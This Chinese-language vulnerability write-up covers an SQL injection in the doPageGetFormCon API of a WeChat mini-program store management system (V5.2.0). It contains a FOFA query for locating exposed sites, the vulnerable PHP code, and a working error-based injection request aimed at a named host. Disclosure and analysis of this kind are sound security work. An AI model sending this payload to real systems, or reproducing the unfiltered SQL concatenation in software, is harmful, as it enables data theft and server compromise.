漏洞简介
万能门店小程序管理系统是一款功能强大的工具,旨在为各行业商家提供线上线下融合的全方位解决方案。是一个集成了会员管理和会员营销两大核心功能的综合性平台。它支持多行业使用,通过后台一键切换版本,满足不同行业商家的个性化需求。该系统采用轻量后台,搭载高效服务器,确保小程序运行流畅,提升用户体验。万能门店小程序管理系统 /api/wxapps/doPageGetFormCon 存在 SQL 注入漏洞,攻击者可通过该漏洞获取数据库中的敏感信息,甚至可能进一步控制服务器。
影响版本
万能门店小程序全开源独立版V5.2.0
fofa语法
body="/new_plat/index.html#/login" || (body="/comhome/cases/index.html" && body="/Comhome/functionshow/index.html")
漏洞分析
application/api/controller/Wxapps.php
public function doPageGetFormCon()
{
$uniacid = input('uniacid');
$id = intval(input('id'));
$prefix = config('database.prefix');
$item = Db::query("SELECT a.*,b.formname as title FROM {$prefix}wd_xcx_formcon as a LEFT JOIN {$prefix}wd_xcx_formlist as b on a.fid = b.id WHERE a.id = {$id} and a.uniacid={$uniacid}");
if ($item) {
$item = $item[0];
$title = Db::query("SELECT * FROM {$prefix}wd_xcx_products WHERE id = {$item['cid']} and uniacid = {$uniacid}");
if ($title) {
$title = $title[0];
$item['title'] = $title['title'];
$item['formtitle'] = Db::name('wd_xcx_formlist')->where("uniacid", $uniacid)->where("id", $title['formset'])->value("formname");
$item['formtitle'] = "文章-" . $title['title'] . "-" . $item['formtitle'];
} else {
$item['formtitle'] = Db::name('wd_xcx_formlist')->where("uniacid", $uniacid)->where("id", $item['fid'])->value("formname");
$item['formtitle'] = "DIY-" . $item['formtitle'];
}
$itemval = unserialize($item['val']);
foreach ($itemval as $key => &$res) {
if (isset($res['z_val']) && $res['z_val']) {
foreach ($res['z_val'] as $k => &$rek) {
$rek = remote($uniacid, $rek, 1);
}
}
}
$item['val'] = $itemval;
$item['creattime'] = date("Y-m-d H:i:s", $item['creattime']);
if ($item['vtime']) {
$item['vtime'] = date("Y-m-d H:i:s", $item['vtime']);
}
}
$result['data'] = $item;
return json_encode($result);
}
$id虽然也是拼接进SQL语句,但是有 intval() 强制转换。
在 PHP 中,intval() 函数用于将变量的值转换为整数类型(integer)。它会解析字符串、浮点数或其他数据类型并返回其整数值。
intval() 函数主要特点:
- 数据类型转换:将传入的值转换为整数类型。
- 字符串解析:会根据字符串的内容提取整数部分。例如,
intval("123abc")会返回123。 - 支持进制转换:可以通过第二个参数指定进制(如二进制、八进制、十六进制等)。
语法:
intval(mixed $value, int $base = 10): int
$value:需要转换的值。$base:可选,表示进制,默认为 10(十进制)。
示例:
echo intval("123"); // 输出: 123
echo intval("123abc"); // 输出: 123
echo intval("abc123"); // 输出: 0
echo intval(12.34); // 输出: 12
echo intval("0b1010", 2); // 输出: 10(二进制转换为十进制)
注意:
- 如果无法转换为整数(如纯字母字符串),则返回
0。 - 对于布尔值,
true转换为1,false转换为0。
intval() 是一个常用的函数,适合在需要确保变量为整数时使用。
而$uniacid 无任何处理或过滤就直接拼接进SQL语句中,造成SQL注入漏洞。
漏洞复现
POST /api/wxapps/doPageGetFormCon HTTP/1.1
Host: wxapps.mrxn.net
Content-Type: application/x-www-form-urlencoded
id=1&uniacid=1+AND GTID_SUBSET(CONCAT((SELECT(md5(123456)))),3119)%23


